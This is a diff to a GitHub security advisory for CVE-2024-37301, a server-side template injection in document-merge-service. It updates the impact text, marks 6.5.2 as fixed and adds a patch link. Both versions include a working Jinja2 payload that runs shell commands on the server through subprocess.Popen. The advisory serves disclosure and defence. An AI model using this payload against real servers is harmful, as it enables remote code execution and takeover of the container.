Publish GHSA-v5gf-r78h-55q6

advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json

@@ -1,13 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-v5gf-r78h-55q6",
-  "modified": "2024-06-11T21:38:52Z",
+  "modified": "2024-06-12T19:21:00Z",
   "published": "2024-06-11T20:22:55Z",
   "aliases": [
     "CVE-2024-37301"
   ],
   "summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection",
-  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nRCE via SSTI, as root, full takeover.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n",
+  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n",
   "severity": [
     {
       "type": "CVSS_V3",
@@ -28,7 +28,7 @@
               "introduced": "0"
             },
             {
-              "last_affected": "6.5.1"
+              "fixed": "6.5.2"
             }
           ]
         }
@@ -44,6 +44,10 @@
       "type": "ADVISORY",
       "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37301"
     },
+    {
+      "type": "WEB",
+      "url": "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"
+    },
     {
       "type": "PACKAGE",
       "url": "https://github.com/adfinis/document-merge-service"